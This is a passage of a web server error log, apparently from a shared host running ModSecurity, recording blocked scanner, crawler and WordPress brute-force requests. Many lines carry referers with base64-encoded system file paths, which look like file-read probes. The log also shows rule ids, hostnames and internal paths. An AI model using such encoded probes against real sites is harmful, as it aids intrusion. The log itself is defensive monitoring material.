vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWymiP80klyS0Nnod4AABYUo"] [Sat Jun 13 18:14:19.182828 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:19.183273 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:19.367089 2026] [security2:error] [pid 531155:tid 531170] [remote 17.22.253.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWymiP80klyS0Nnod6wABKA4"] [Sat Jun 13 18:14:19.454787 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.6:61304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:19.455125 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.6:61304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:19.696911 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1 [Sat Jun 13 18:14:19.697338 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1 [Sat Jun 13 18:14:19.708991 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.98:55558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:19.709426 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.98:55558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:20.017176 2026] [security2:error] [pid 531155:tid 531173] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app/Notifications/ResetPassword.php"] [unique_id "ai3yXCmiP80klyS0NnoeEwABQRE"] [Sat Jun 13 18:14:20.086262 2026] [security2:error] [pid 531155:tid 531228] [remote 17.22.253.142:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXCmiP80klyS0NnoeGAABbUg"] [Sat Jun 13 18:14:20.095365 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.62:34698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:20.095847 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.62:34698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:20.148388 2026] [security2:error] [pid 531155:tid 531171] [remote 17.22.245.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXCmiP80klyS0NnoeIgABeQ8"] [Sat Jun 13 18:14:20.149138 2026] [security2:error] [pid 531155:tid 531213] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app/Notifications/InvoicePaid.php"] [unique_id "ai3yXCmiP80klyS0NnoeIwABMjk"] [Sat Jun 13 18:14:20.173036 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.61:36884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:20.173471 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.61:36884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:20.223191 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:14:20.223590 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:14:20.637123 2026] [security2:error] [pid 531155:tid 531274] [remote 220.181.108.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXCmiP80klyS0NnoeQgABcXY"] [Sat Jun 13 18:14:20.732524 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:14:20.732832 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:14:21.079427 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.20:63634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:21.079900 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.20:63634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:21.118390 2026] [security2:error] [pid 531155:tid 531217] [remote 17.246.15.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXSmiP80klyS0NnoeYQABHT0"] [Sat Jun 13 18:14:21.248207 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:14:21.248673 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:14:21.349963 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.30:50064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:21.350242 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.30:50064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:21.370368 2026] [security2:error] [pid 531155:tid 531223] [remote 17.22.245.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXSmiP80klyS0NnoecAABckM"] [Sat Jun 13 18:14:21.374727 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.29:51623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:21.375005 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.29:51623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:21.446163 2026] [security2:error] [pid 531155:tid 531369] [client 114.119.151.0:53951] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "hy-initiative.com"] [uri "/linken9.asp"] [unique_id "ai3yXSmiP80klyS0NnoedQAAAV4"], referer: http://hy-initiative.com/linken9.asp?cid=9&shop=new%2Bbalance%2Boutlet%2Bontario%2Boutlet [Sat Jun 13 18:14:21.528352 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.47:26094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:21.528796 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.47:26094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:21.730446 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.12:47310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:21.730918 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.12:47310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:21.766244 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:14:21.766571 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:14:21.801525 2026] [security2:error] [pid 531155:tid 531260] [remote 17.246.23.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXSmiP80klyS0NnoeiQABTmg"] [Sat Jun 13 18:14:21.890511 2026] [security2:error] [pid 531155:tid 531186] [remote 208.109.188.137:49362] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3yXSmiP80klyS0NnoejgABSR4"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:14:22.017470 2026] [security2:error] [pid 531155:tid 531191] [remote 220.181.108.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXimiP80klyS0NnoekwABhSM"] [Sat Jun 13 18:14:22.160485 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.105:49298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:22.160807 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.105:49298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:22.242673 2026] [security2:error] [pid 531155:tid 531318] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_alerts_error.phpt"] [unique_id "ai3yXimiP80klyS0NnoeoQAAASs"], referer: https://mail.goldensnifferproducts.com/php52/ext/imap/tests/imap_alerts_error.phpt [Sat Jun 13 18:14:22.249054 2026] [security2:error] [pid 531155:tid 531273] [remote 17.22.245.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXimiP80klyS0NnoeowABHXU"] [Sat Jun 13 18:14:22.314468 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:14:22.314790 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:14:22.546168 2026] [access_compat:error] [pid 531155:tid 531269] [remote 216.73.216.182:42797] AH01797: client denied by 